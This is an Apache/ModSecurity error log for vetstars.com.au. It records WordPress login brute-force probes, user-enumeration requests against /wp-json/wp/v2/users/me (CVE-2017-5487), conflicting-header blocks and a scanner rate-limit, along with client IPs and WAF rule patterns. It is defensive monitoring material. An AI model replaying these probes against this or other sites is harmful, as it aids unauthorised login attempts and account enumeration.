[Wed May 13 14:56:44.689716 2026] [:error] [pid 3259:tid 3262] [client 43.157.148.38:46442] [client 43.157.148.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agQgrOWJB4YwcPVLeAoTPgAAAQE"]
[Wed May 13 15:00:34.947423 2026] [ssl:error] [pid 23787:tid 23867] [client 35.80.14.18:47490] AH02032: Hostname www.macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup
[Wed May 13 15:15:00.820213 2026] [:error] [pid 23787:tid 23852] [client 162.14.109.170:33036] [client 162.14.109.170] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agQk9B1cs5wE7VT6wioGCAAAAIQ"]
[Wed May 13 15:23:25.959784 2026] [:error] [pid 27332:tid 27341] [client 173.212.234.196:57346] [client 173.212.234.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.212.234.196, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agQm7Y6Y5F_V9bmyC4a5SAAAAUc"]
[Wed May 13 15:23:29.214034 2026] [:error] [pid 27332:tid 27344] [client 173.212.234.196:57346] [client 173.212.234.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.212.234.196, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agQm8Y6Y5F_V9bmyC4a5SgAAAUo"], referer: https://vetstars.com.au/wp-login.php
[Wed May 13 15:48:45.514026 2026] [:error] [pid 3259:tid 3263] [client 45.14.225.196:40582] [client 45.14.225.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.14.225.196, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agQs3eWJB4YwcPVLeAoecgAAAQI"]
[Wed May 13 15:48:46.980352 2026] [:error] [pid 3259:tid 3278] [client 45.14.225.196:40582] [client 45.14.225.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.14.225.196, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agQs3uWJB4YwcPVLeAoedAAAARE"], referer: https://vetstars.com.au/wp-login.php
[Wed May 13 15:56:10.988119 2026] [:error] [pid 23787:tid 23871] [client 34.1.20.158:39478] [client 34.1.20.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.1.20.158, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agQumh1cs5wE7VT6wioNbQAAAJc"], referer: https://vetstars.com.au/login/
[Wed May 13 16:33:14.391834 2026] [:error] [pid 55715:tid 55727] [client 103.28.36.210:59158] [client 103.28.36.210] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agQ3SnrHYVtSiFfOVKgH7AAAAko"]
[Wed May 13 16:53:53.451065 2026] [:error] [pid 23782:tid 23837] [client 173.255.247.77:45350] [client 173.255.247.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.255.247.77, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agQ8ISBrKFYHXUGnR-rgiAAAAFA"]
[Wed May 13 16:53:58.195026 2026] [:error] [pid 23782:tid 23845] [client 173.255.247.77:45350] [client 173.255.247.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.255.247.77, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agQ8JiBrKFYHXUGnR-rgnQAAAFg"], referer: https://vetstars.com.au/wp-login.php
[Wed May 13 17:16:25.456521 2026] [:error] [pid 55644:tid 55666] [client 43.130.71.237:47288] [client 43.130.71.237] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agRBaSL_V0N1iPYYj0-kmwAAAdQ"]
[Wed May 13 17:21:25.485990 2026] [:error] [pid 55644:tid 55660] [client 31.70.82.89:36990] [client 31.70.82.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.70.82.89, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agRClSL_V0N1iPYYj0-kuwAAAc4"]
[Wed May 13 17:21:27.059288 2026] [:error] [pid 55644:tid 55656] [client 31.70.82.89:36990] [client 31.70.82.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.70.82.89, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agRClyL_V0N1iPYYj0-kvAAAAco"], referer: https://vetstars.com.au/wp-login.php
[Wed May 13 17:37:35.764066 2026] [:error] [pid 45289:tid 45300] [client 65.108.71.177:43454] [client 65.108.71.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.71.177, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agRGX4OEpVhwFIe0NzgSfAAAAYc"]
[Wed May 13 17:37:37.000588 2026] [:error] [pid 45289:tid 45317] [client 65.108.71.177:43454] [client 65.108.71.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.108.71.177, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agRGYIOEpVhwFIe0NzgShgAAAZg"], referer: https://vetstars.com.au/wp-login.php
[Wed May 13 19:03:46.993283 2026] [:error] [pid 55744:tid 55766] [client 165.22.116.110:41456] [client 165.22.116.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.116.110, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agRakgwbbCCudzl3BmmljwAAApI"]
[Wed May 13 19:03:50.631979 2026] [:error] [pid 55744:tid 55749] [client 165.22.116.110:41456] [client 165.22.116.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.116.110, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agRalgwbbCCudzl3BmmlkQAAAoE"], referer: https://vetstars.com.au/wp-login.php
[Wed May 13 20:22:13.257204 2026] [:error] [pid 3259:tid 3273] [client 51.79.254.190:42498] [client 51.79.254.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.79.254.190, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agRs9eWJB4YwcPVLeAoy-wAAAQw"]
[Wed May 13 20:22:15.035368 2026] [:error] [pid 3259:tid 3277] [client 51.79.254.190:42498] [client 51.79.254.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 51.79.254.190, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agRs9-WJB4YwcPVLeAoy_AAAARA"], referer: https://vetstars.com.au/wp-login.php
[Wed May 13 20:47:32.707048 2026] [:error] [pid 11404:tid 11414] [client 162.241.73.198:28980] [client 162.241.73.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.73.198, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agRy5GkMyjAfdbWSOlIFQQAAAAY"]
[Wed May 13 20:47:33.936864 2026] [:error] [pid 11404:tid 11420] [client 162.241.73.198:28980] [client 162.241.73.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.73.198, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agRy5WkMyjAfdbWSOlIFRQAAAAw"], referer: https://vetstars.com.au/wp-login.php
[Wed May 13 22:20:39.582430 2026] [:error] [pid 12426:tid 12430] [client 170.106.35.153:52356] [client 170.106.35.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agSIt7Pw24RslX3LIcY2hQAAAMI"]
[Wed May 13 23:57:51.900561 2026] [:error] [pid 12340:tid 12407] [client 204.137.214.23:59574] [client 204.137.214.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 204.137.214.23, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agSff8rxSPfvmN7BQjKOeAAAAIs"]
[Wed May 13 23:57:55.721033 2026] [:error] [pid 12340:tid 12415] [client 204.137.214.23:59574] [client 204.137.214.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 204.137.214.23, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agSfg8rxSPfvmN7BQjKOfQAAAJM"], referer: https://vetstars.com.au/wp-login.php
[Thu May 14 00:24:24.559720 2026] [:error] [pid 17873:tid 17892] [client 165.22.106.78:58682] [client 165.22.106.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.106.78, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agSluPEqBQQrkyEyu_oZEgAAARE"]
[Thu May 14 00:24:26.086992 2026] [:error] [pid 17873:tid 17878] [client 165.22.106.78:58682] [client 165.22.106.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.106.78, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agSluvEqBQQrkyEyu_oZFAAAAQM"], referer: https://vetstars.com.au/wp-login.php
[Thu May 14 01:03:09.484490 2026] [:error] [pid 12340:tid 12409] [client 142.93.215.41:49978] [client 142.93.215.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.93.215.41, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agSuzcrxSPfvmN7BQjKnAQAAAI0"]
[Thu May 14 01:03:11.545573 2026] [:error] [pid 12340:tid 12399] [client 142.93.215.41:49978] [client 142.93.215.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 142.93.215.41, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agSuz8rxSPfvmN7BQjKnBQAAAIM"], referer: https://vetstars.com.au/wp-login.php
[Thu May 14 01:03:48.458232 2026] [:error] [pid 12340:tid 12398] [client 142.93.215.41:36072] [client 142.93.215.41] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agSu9MrxSPfvmN7BQjKnQwAAAII"]
[Thu May 14 01:06:08.443456 2026] [:error] [pid 12340:tid 12403] [client 159.89.192.15:34826] [client 159.89.192.15] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agSvgMrxSPfvmN7BQjKooAAAAIc"]
[Thu May 14 01:08:29.833444 2026] [:error] [pid 17873:tid 17892] [client 138.68.144.85:58202] [client 138.68.144.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.68.144.85, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agSwDfEqBQQrkyEyu_omOQAAARE"]
[Thu May 14 01:08:31.347819 2026] [:error] [pid 17873:tid 17891] [client 138.68.144.85:58202] [client 138.68.144.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.68.144.85, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agSwD_EqBQQrkyEyu_omPQAAARA"], referer: https://vetstars.com.au/wp-login.php
[Thu May 14 01:40:05.687742 2026] [:error] [pid 12337:tid 12352] [client 103.68.70.15:59488] [client 103.68.70.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.68.70.15, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agS3dQ9W0E4_X4qzYUGB8QAAAAo"]
[Thu May 14 01:40:07.313514 2026] [:error] [pid 12337:tid 12362] [client 103.68.70.15:59488] [client 103.68.70.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.68.70.15, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agS3dw9W0E4_X4qzYUGB8wAAABQ"], referer: https://vetstars.com.au/wp-login.php
[Thu May 14 02:02:05.082094 2026] [:error] [pid 17873:tid 17877] [client 66.85.144.226:55556] [client 66.85.144.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.85.144.226, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agS8nfEqBQQrkyEyu_ox3gAAAQI"]
[Thu May 14 02:02:23.536344 2026] [:error] [pid 12340:tid 12397] [client 66.85.144.226:46190] [client 66.85.144.226] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agS8r8rxSPfvmN7BQjK8iAAAAIE"]
[Thu May 14 03:49:14.779069 2026] [:error] [pid 45756:tid 45796] [client 103.179.56.102:48722] [client 103.179.56.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.179.56.102, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agTVurH5Jc56yU5ncU6UCQAAAEg"]
[Thu May 14 03:49:21.030193 2026] [:error] [pid 45756:tid 45807] [client 103.179.56.102:48722] [client 103.179.56.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.179.56.102, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agTVwbH5Jc56yU5ncU6UDgAAAFM"], referer: https://vetstars.com.au/wp-login.php
[Thu May 14 04:14:38.721375 2026] [:error] [pid 11588:tid 11665] [client 152.32.209.93:50316] [client 152.32.209.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.32.209.93, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agTbrtUr21rOixkeGKburQAAAI0"]
[Thu May 14 04:14:41.810073 2026] [:error] [pid 11588:tid 11664] [client 152.32.209.93:50316] [client 152.32.209.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.32.209.93, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agTbsdUr21rOixkeGKbusAAAAIw"], referer: https://vetstars.com.au/wp-login.php
[Thu May 14 04:31:08.271357 2026] [:error] [pid 11588:tid 11675] [client 139.155.126.16:60686] [client 139.155.126.16] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agTfjNUr21rOixkeGKbzqwAAAJc"]
[Thu May 14 04:39:43.115097 2026] [:error] [pid 11690:tid 11707] [client 103.74.123.7:58490] [client 103.74.123.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.74.123.7, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agThjynxWuLN8Hptw8lbVQAAAMg"]
[Thu May 14 04:39:45.044788 2026] [:error] [pid 11690:tid 11711] [client 103.74.123.7:58490] [client 103.74.123.7] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.74.123.7, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agThkSnxWuLN8Hptw8lbXAAAAMw"], referer: https://vetstars.com.au/wp-login.php
[Thu May 14 04:40:36.160024 2026] [:error] [pid 11588:tid 11660] [client 147.135.213.130:46248] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "agThxNUr21rOixkeGKb2RQAAAIg"]
[Thu May 14 04:40:38.495114 2026] [:error] [pid 11581:tid 11599] [client 147.135.213.130:35242] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "agThxv0vF48FbzpvQMV9FwAAAAI"]
[Thu May 14 04:40:41.277946 2026] [:error] [pid 11588:tid 11670] [client 147.135.213.130:41262] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "agThydUr21rOixkeGKb2SgAAAJI"]
[Thu May 14 04:40:43.942724 2026] [:error] [pid 11690:tid 11717] [client 147.135.213.130:41276] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "agThyynxWuLN8Hptw8lbowAAANI"]
[Thu May 14 04:40:46.429331 2026] [:error] [pid 63033:tid 63042] [client 147.135.213.130:41278] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "agThzlMY49UWn5BpqVYxdgAAAQc"]
[Thu May 14 04:40:48.923676 2026] [:error] [pid 11581:tid 11607] [client 147.135.213.130:41284] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "agTh0P0vF48FbzpvQMV9KgAAAAo"]
[Thu May 14 04:40:51.493742 2026] [:error] [pid 63033:tid 63038] [client 147.135.213.130:52814] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "agTh01MY49UWn5BpqVYxfQAAAQM"]
[Thu May 14 04:40:54.034919 2026] [:error] [pid 63033:tid 63052] [client 147.135.213.130:52826] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "agTh1lMY49UWn5BpqVYxgQAAARE"]
[Thu May 14 04:40:56.611867 2026] [:error] [pid 11581:tid 11607] [client 147.135.213.130:52834] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agTh2P0vF48FbzpvQMV9OwAAAAo"]
[Thu May 14 04:40:59.841486 2026] [:error] [pid 11588:tid 11660] [client 147.135.213.130:39420] [client 147.135.213.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agTh29Ur21rOixkeGKb2UgAAAIg"]
